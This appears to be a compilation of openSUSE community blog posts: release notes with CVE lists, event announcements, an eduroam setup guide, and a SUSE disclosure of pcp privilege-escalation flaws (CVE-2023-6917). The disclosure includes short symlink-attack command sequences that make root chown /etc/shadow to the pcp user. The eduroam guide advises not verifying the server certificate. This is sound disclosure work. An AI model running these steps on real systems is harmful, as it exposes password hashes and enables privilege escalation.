openSUSE Tumbleweed Monthly Update - February
Welcome to the monthly update for openSUSE Tumbleweed for February 2024. This month we get one more day in February because of Leap year, but here is what we have for the month. This blog aims to provide readers with an overview of the key changes, improvements and issues addressed in openSUSE Tumbleweed snapshots throughout the month. Should readers desire a more frequent amount of information about openSUSE Tumbleweed snapshots, readers are advised to subscribe to the openSUSE Factory mailing list.
New Features and Enhancements
-
Linux Kernel: February brought updates to the Linux kernel, progressing through versions 6.7.2 to 6.7.6. These updates focus on enhancing memory management, addressing some security vulnerabilities, and introducing support for new hardware models, ensuring improved compatibility and performance across various systems.
- Fixes for various issues, including null-pointer dereference in powerpc/mm, incorrect node setting for arm64 irq, and build errors in powerpc architecture.
- Correcting the node assignment for VMAP stack in the
arm64irq module. - Fix for a null-pointer dereference in
pgtable_cache_addin the powerpc/mm module. - Fixes for various issues in filesystems like ext4 and JFS.
- Ensuring proper handling of NMIs during very early boot in the
x86/bootmodule. - New hardware support or models:
- Colorful X15 AT 23 Laptop
-
KDE Frameworks: Update for version 5.115.0.
- xtra CMake Modules: The ECMUninstallTarget now ports generated code away from deprecated exec_program, enhancing compatibility and maintainability.
- KHolidays: Adds St Brigid’s Day.
- KIO: Once again KDirModel, allows expanding network directories in file picker.
- prison : Enables exceptions for videoscannerworker.cpp.
-
Mesa: Updates to 23.3.6
- zink: Addresses flickering artifacts in Selaco, broken colors/dual-source blending on PinePhone Pro, and fixes sparse bo placement.
- panfrost: Resolves graphical artifacts on T604 (T600), fixes intermittent compiler failures when building valhall tests, and pads compute jobs with zeros on v4.
- radeonsi: Fixes unsynchronized flips/tearing with KMS DRM rendering on 780M and addresses heavy corruption in Amnesia: The Dark Descent.
- VK: Various fixes for flaky tests, fullscreen “banding” artifacts in Age of Empires IV, and failures in dEQP-VK pipeline tests.
-
systemd: Updates to version 254.9.
- vconsole-setup: Resolved issue where vconsole-setup would fail if the only found vc is already used by plymouth.
- systemd-testsuite: Dependency updated to “qemu” instead of “qemu-kvm”, the latter being obsolete.
- test/test-shutdown.py: Option added to display test I/Os in a dedicated log file.
- man pages: Documentation update to include ranges for distributions config files and local config files.
- libbpf: Version of libbpf dlopened by systemd updated (weak dependency).
-
glibc: Updated from version 2.38 to 2.39,
- PLT Rewrite: Introduction of a new tunable,
glibc.cpu.plt_rewrite, allows for enabling PLT rewrite on x86-64 architectures. - Sync with Linux Kernel 6.6: Synchronization with Linux kernel 6.6 shadow stack interface.
- New Functions: Addition of new functions on Linux, including
posix_spawnattr_getcgroup_np,posix_spawnattr_setcgroup_np,pidfd_spawn,pidfd_spawp, andpidfd_getpid. - scanf-family functions: Support for the wN format length modifiers for arguments pointing to specific types.
- Memory Allocation Tunable: Introduction of a new tunable,
glibc.mem.decorate_maps, for adding additional information on underlying memory allocated by glibc. - ISO C2X: Inclusion of the
<stdbit.h>header from ISO C2X. - AArch64: Addition of new symbols to libmvec on AArch64.
- ldconfig Enhancements: ldconfig now skips file names containing specific characters and patterns.
- Dynamic Linker Improvements: The dynamic linker calls the
mallocandfreefunctions in more cases during TLS access if a shared object with dynamic TLS is loaded and unloaded.
- PLT Rewrite: Introduction of a new tunable,
-
Cups-Filters: Updates to version 1.28.17
- Improved Printer Capability Discovery: Enhancements to more reliably discover all printer capabilities from driverless printers, particularly borderless printing. This includes preferring Apple Raster over PWG Raster or PCLM formats.
- PPD Generator Optimization: The PPD generator now creates only one *cupsFilter2 line for raster, utilizing the most desirable/reliable format, usually Apple Raster.
- Media Database Handling: Enhancements in handling media-col-database and media-col-ready IPP attributes separately if needed, revealing important functionality like borderless printing.
- Margin Alternatives Consideration: Consideration of all margin alternatives when generating PPD files for driverless printers, ensuring the discovery of borderless functionality for many printers.
- Image Printing Enhancements: Images are now printed in their original size with “print-scaling=none”, and deprecated data types for reading TIFF images have been replaced with modern equivalents.
-
openvpn: Updates to version 2.6.9
- Enhanced Logging: SSL alerts are now logged more prominently, improving visibility into SSL-related issues.
- Documentation Improvements: Clarifications and additions to documentation, including the documentation of the
tls-exitoption as a primarily test option. - Code Cleanup: Removal of unused function prototypes and redundant code, ensuring cleaner codebase and improved maintainability.
- Error Handling: Addition of missing error checks and enhancements to error messages for better debugging and troubleshooting.
- Security Enhancements: Implementation of the
--tls-export-certfeature and addition of checks for TLS 1.0 PRF availability, improving security measures. - Configuration Clarifications: Clarifications regarding the
tls-crypt-v2-verifyoption and removal of redundant options like--tls-export-cert. - Library Compatibility: Support added for newer versions of dependencies like mbedtls 3.x.y, with TLS 1.3 support disabled.
Security Updates
This month’s updates include critical security patches and bug fixes for glibc, GStreamer, Salt, Xen and many other packages.
Bug Fixes
- glibc: Had a few Common Vulnerabilities and Exposures fixed. CVE-2023-6246, CVE-2023-6779, which was a buffer overflow, CVE-2023-6780, which was an integer overflow, both that lead to an incorrect calculation of the buffer size.
- GStreamer: CVE-2024-0444 made it possible for a malicious third party to trigger a crash in the application.
- Salt: CVE-2024-22231 was vulnerable to a directory traversal attack and CVE-2024-22232, with a specially crafted url, could lead to a directory traversal in the salt file server.
- Xen: CVE-2023-46839 had a high complexity and required high privileges.
- dnsmasq: Both CVE-2023-50387 and CVE-2023-50868 could allow for remote attackers to cause a denial of service.
- qemu: CVE-2023-6693 could allow a hacker to steal data via a network device.
- bind: CVE-2023-50387 was associated with a “KeyTrap” DNS flaw lets attackers overload servers remotely. The other three were CVE-2023-4408, CVE-2023-5679 and CVE-2023-6516.
-
Node.js: Multiple CVEs were fixed. These were CVE-2024-21892, which let unprivileged users gain elevated rights, CVE-2024-22019, which was a flaw that let attackers crash servers with malformed requests, and CVE-2024-22017, which was a path traversal bug via Buffer manipulation in an experimental feature. There was also CVE-2024-21896, CVE-2023-46809, CVE-2024-21891, CVE-2024-21890, CVE-2024-22025 and CVE-2024-24758, which kept
Proxy-Authenticationheaders after redirects; upgrade as needed.
Conclusion
February 2024 for openSUSE Tumbleweed showcases a diverse range of updates and improvements across essential components. There were critical security patches for software like glibc, GStreamer and Salt. The kernel updated from 6.7.2 at the beginning of the month to 6.7.6. There were updates for KDE Frameworks, Mesa, systemd, Cups-Filters and other core components. Other significant upgrades during the month included fwupd 1.9.13, PostgreSQL 16.2, Pulseaudio 17.0, GTK 4.12.5, Python 3.11.8, RPM 4.19.1.1, Mozilla Firefox 122.0.1, PHP 8.2.16, Poppler 24.02.0, Shadow 4.14.5, binutils 2.42, Qemu 8.2.1 and, Python 3.12. Next month should see systemd 255.3 arrive in the rolling release as the package is currently in staging.. The openSUSE team encourages users to continue participating through bug reports, feature suggestions and discussions.
Contributing to openSUSE Tumbleweed
Your contributions and feedback make openSUSE Tumbleweed better with every update. Whether reporting bugs, suggesting features, or participating in community discussions, your involvement is highly valued.
Working with multi-line logs in syslog-ng
Most log messages fit on a single line. However, Windows and some developer tools and services, like Tomcat, write multi-line log messages. These can come in various formats. For example, new log messages start with a date in a specific format. You use the multi-line-prefix() of the syslog-ng file() source to send multi-line messages as single messages instead of line by line.
I must admit that I have never seen multi-line logs in production. I am not a developer, do not run Tomcat or Windows. However, recently I tested a software on Windows, which produced multi-line log messages.
You can read more at https://www.syslog-ng.com/community/b/blog/posts/working-with-multi-line-logs-in-syslog-ng

syslog-ng logo
HU Berlin eduroam for Android
I tried to setup eduroam for the Humboldt University of Berlin (Humboldt Universität in Berlin) using the app advertised in the manual: geteduroam
Unfortunately, the app crashes on my Android phone. If this is your case as well, proceed as follows:
- download the CA certificate hu-ca-2024.crt1
- go to your wifi settings and select
eduroamto setup this wifi - use TTLS/PAP (I forgot which one)
- add anonymous identity:
eduroam@hu-berlin.de - add username as username@hu-berlin.de (use username@physik.hu-berlin.de or username@mathematik.hu-berlin.de if your account is with those faculties)
- add as CA certificate the file downloaded before
- do not verify this certificate
- add as domain:
hu-berlin.de
Note that other universities may require other setups.
-
I have created this certificate file with
openssl x509 -inform PEM -outform DER -in CA.pem -out hu-ca-2024.crtusing theCA.pemextracted from the eduroam setup for my PC. ↩︎
Disable Input Devices in Wayland
Performance Co-Pilot (pcp): Unsafe use of Directories in /var/lib/pcp and /var/log/pcp breaks pcp Service User Isolation (CVE-2023-6917)
1) Introduction
Performance Co-Pilot (pcp) is a performance analysis toolkit that allows to gather and evaluate data on a local system and also share this data over the network in a distributed manner.
During routine reviews we noticed issues in pcp on Linux with directory permissions that allow to locally escalate privileges from the pcp service user to root.
These findings are based on the 5.3.7 version release of pcp. CVE-2023-6917 has been assigned for this class of issues in pcp.
2) Service User And Directory Permissions
The systemd services shipped with pcp run with mixed privileges. Some use only
limited pcp user/group privileges, like “pmie_check.service”. Others like
“pmcd.service” run with full root privileges. The pmcd daemon implements the
networking logic of pcp. It drops privileges from root to pcp during
startup.
The different pcp programs use a shared directory structure:
- /var/lib/pcp/tmp owned by
pcp:pcpmode0775 - /var/log/pcp owned by
pcp:pcpmode0775
When privileged processes running as root access files in directories or directory trees controlled by unprivileged users, then easily security issues can result from this. For the directories listed above, we quickly found the two exploitable issues that are described in the following sections.
3a) Startup Script for pmcd runs chown for $PCP_TMP_DIR/pmlogger
The “pmcd.service” runs with root privileges and executes the bash script
“/usr/libexec/pcp/lib/pmcd” (named “rc_pmcd” in the Git source repository).
Within this script the following code runs as part of the
start routine, found in function _reboot_setup():
if [ ! -d "$PCP_TMP_DIR/pmlogger" ]
then
mkdir -p -m 775 "$PCP_TMP_DIR/pmlogger"
chown $PCP_USER:$PCP_GROUP "$PCP_TMP_DIR/pmlogger"
if which restorecon >/dev/null 2>&1
then
restorecon -r "$PCP_TMP_DIR"
fi
else
$PCP_TMP_DIR in this context refers to “/var/lib/pcp/tmp”, owned by pcp:pcp
mode 0775. Since the shell code above does not exit on errors, a compromised pcp
user doesn’t even have to win a race condition to perform a symlink attack.
The following exploit works:
# simulate a compromised pcp user
root # sudo -u pcp -g pcp bash
pcp $ cd /var/lib/pcp/tmp
pcp $ rm -r pmlogger
pcp $ ln -s /etc/shadow pmlogger
pcp $ exit
root # systemctl start pcmd.service
root # ls -l /etc/shadow
-rw-r----- 1 pcp pcp 1.2K Dec 7 15:47 /etc/shadow
3b) Startup Script for pmproxy runs chown in $RUN_DIR
The “pmproxy.service” runs with root privileges and executes the bash script
“/usr/libexec/pcp/lib/pmproxy” (named rc_pmproxy in the Git source
repository). Within this script the following code runs as
part of the start (and other) routines:
# create directory which will serve as cwd
if [ ! -d "$RUNDIR" ]
then
mkdir -p -m 775 "$RUNDIR"
chown $PCP_USER:$PCP_GROUP "$RUNDIR"
fi
$RUN_DIR in this context refers to “/var/log/pcp/pmproxy”. “/var/log/pcp” is
owned by pcp:pcp mode 0775. Similar to the exploit described in section
3a), no race condition has to be won to exploit this:
# simulate a compromised pcp user
root # sudo -u pcp -g pcp bash
pcp $ cd /var/log/pcp
pcp $ rm -rf pmproxy
pcp $ ln -s /etc/shadow pmproxy
pcp $ exit
root # systemctl start pmproxy.service
root # ls -l /etc/shadow
-rw-r----- 1 pcp pcp 1.2K Dec 7 15:47 /etc/shadow
4) Summary
We only picked two of the more obvious security issues that result from root processes operating on these pcp owned directories. There are likely more issues of the same class lingering in the pcp scripts that run as root. Given this, the user separation of pcp can be considered nonexistent in its current form, and the pcp user should be treated equal to root.
The pcp service user is also used for the network facing pmcd component,
thus these issues strongly impact defense in depth for pcp, for the scenario
when an attacker finds a way to exploit the network daemon.
5) Bugfix
Upstream performed a wider redesign of the privilege separation handling in pcp components. The pull request corresponding to this contains a large number of commits. It is difficult to isolate any simple patches from that.
In our Bugzilla bug that tracks this issue, I attempted to identify the subset of commits relevant to this issue, to help with backporting.
6) Timeline
| 2023-12-13 | I reported the findings to pcp-maintainers@groups.io offering coordinated disclosure. |
| 2023-12-14 | The Red Hat Security Team was added to the discussion. |
| 2023-12-15 | After some initial disagreement whether this qualifies as an actual security issue, an agreement was found that it is a change of security scope and deserves a CVE assignment. |
| 2023-12-15 | An upstream author suggested mid of February as a publication date, for which time a release for pcp had been planned anyway. |
| 2023-12-18 | Red Hat Security assigned CVE-2023-6917 to track the issue(s). |
| 2024-01-01 | Upstream discussed some initial changes to address the issue(s) in the mail thread and I tried to give some feedback about them. |
| 2024-02-20 | Communication about the publication process died down, and I learned from our packager that the Pull Request containing the fixes had already been public for some time. It seems no clear embargo had been established for the coordinated release, there had been contradicting statements. |
| 2024-02-27 | After verifying with the upstream authors that publication is okay I finalized my report and published all information. |
7) References
Gridfinity Screwdriver Rack
Community Plans for Summit in Berlin
The community is headed to Berlin on June 19 for a Community Summit in association with SUSE’s premier annual global technical conference SUSECON.
Registration for the event is open and the Call for Papers is open until May 29. Partners of SUSE, openSUSE, open source community projects and community members that want to participate are encouraged to register for the summit and submit a talk.
The schedule for the Community Summit will be released on May 30.
There is a Community track and an open source track. There are two types of talks that can be submitted for the summit. One is a short talk with a 15-minute limit and the other is a standard talk with a 30-minute limit.
Attendees of SUSECON are also welcome to attend and submit talks. The Community Summit is a free community event that will take place on the last day of SUSECON.
The summit will take place a week before the openSUSE Conference in Nuremberg, so attendees of SUSECON should consider staying for the openSUSE Project’s annual conference and submit a technical talk. For small- and medium-sized enterprises, there will be a 4-hour Open 4 Business networking event held on June 26 next to SUSE’s offices in Nuremberg.
Contact ddemaio (@) opensuse.org if you have any questions concerning the summit.
KRFB | Remote Desktop Sharing with Plasma Wayland
openSUSE Tumbleweed – Review of the weeks 2024/08
Dear Tumbleweed users and hackers,
This week, we had once again openQA blocking the release of one snapshot and protecting some of our users (using the experimental sdboot/disk-encryption). openQA has identified an inconsistency in snapshot 0215 and found that systems with this update would fail to unlock their disks. The fix landed in snapshot 0216. openQA confirmed the fix and the five snapshots 0216, 0218, 0220, 0221, and 0222 have been published.
The most relevant changes in those releases were:
- Mozilla Firefox 122.0.1
- bind 9.18.24
- dav1d 1.4.0
- PHP 8.2.16
- Poppler 24.02.0
- Shadow 4.14.5
- Mesa 23.3.6
- Meson 1.3.2
- binutils 2.42
- GCC 14 is now the libgcc provider. GCC 13 is still the default compiler being used
- Linux kernel 6.7.5
- pkgconf 2.1.1
- Node.JS 21.6.2
- Qt 6.6.2
- Systemd 254.9
- perl-Bootloader 1.12: no longer written in perl (package name change to happen later)
- Qemu 8.2.1
- Lots of packages preparing for RPM 4.20 (%patchN no longer supported) (~ 600 out of 2000 packages fixed this week)
- RPM: enable reproducible builds by default (bsc#1148824)
In my opinion, that’s quite an impressive list. Soon (and a bit more distant) we will be shipping these changes:
- Ruby 3.2 deprecation: ruby3.2 all ruby3.2-rubygem packages will be removed from Tumbleweed
- python 3.9 deprecation: all python39-* packages are scheduled for removal. We still have Python 3.10, Python 3.11 (the default interpreter), and Python 3.12 in Tumbleweed. Unfortunately, this road will be bumpy, as many Python packages still do not build for Python 3.12 – and unless the builds succeed, the pytho39-XXX packages will stay lingering in the repository.
- Systemd 255
- Many more package fixes to prepare for RPM 4.20
- KDE Frameworks and Plasma 6
- dbus-broker: a big step forward; upgrades seem to be an issue that needs to be addressed
- libxml 2.12.x: slow progress
- GCC 14: phase 2: use gcc14 as default compiler
Engage with Uyuni Community Hours
Like many open-source projects, the Uyuni Project has a long tradition of fostering community engagement and open dialogue, which is why those who are interested in configuration management should consider joining the Uyuni Community Hours scheduled for Feb. 24 at 15:00 UTC.
Uyuni Community Hours sessions take place on the last Friday of the month. The sessions offer an invaluable opportunity for both the community and the project’s development team to come together.
During these sessions, participants are presented with the latest developments surrounding Uyuni. This open forum allows the community to ask questions, provide feedback and suggest features or enhancements directly to the development team. This proactive approach helps Uyuni to evolve and align with the needs and expectations of its user base.
The session for this Friday addresses the community’s feedback and needs:
-
Meeting Migration Recap: An overview of recent changes to the meeting platform, enhancing accessibility and participation for the community.
-
What’s New in Uyuni: A detailed exploration of the latest features and improvements in the February 2024 release of Uyuni.
-
Containerized Uyuni: Release Strategy: Insights into the future of Uyuni’s deployment and management within containerized environments.
-
Uyuni Health Check: Running on top of a “supportconfig”: Introduction of a new tool designed to simplify and streamline health checks for Uyuni servers.
-
One Shot Execution of Recurring Actions: A discussion on enhancing task management and execution within the Uyuni framework.
-
Testing, Building, and Publishing the Documentation with GitHub Actions: An innovative approach to maintaining and distributing up-to-date documentation for Uyuni users and developers.
This session is accessible with a detailed agenda and is meant to keep the contributing community well-informed of upcoming topics and discussions. Whether a developer, administrator or an open-source software enthusiast, join the Uyuni Community Hours to offer valuable insights into the project’s progress and future initiatives.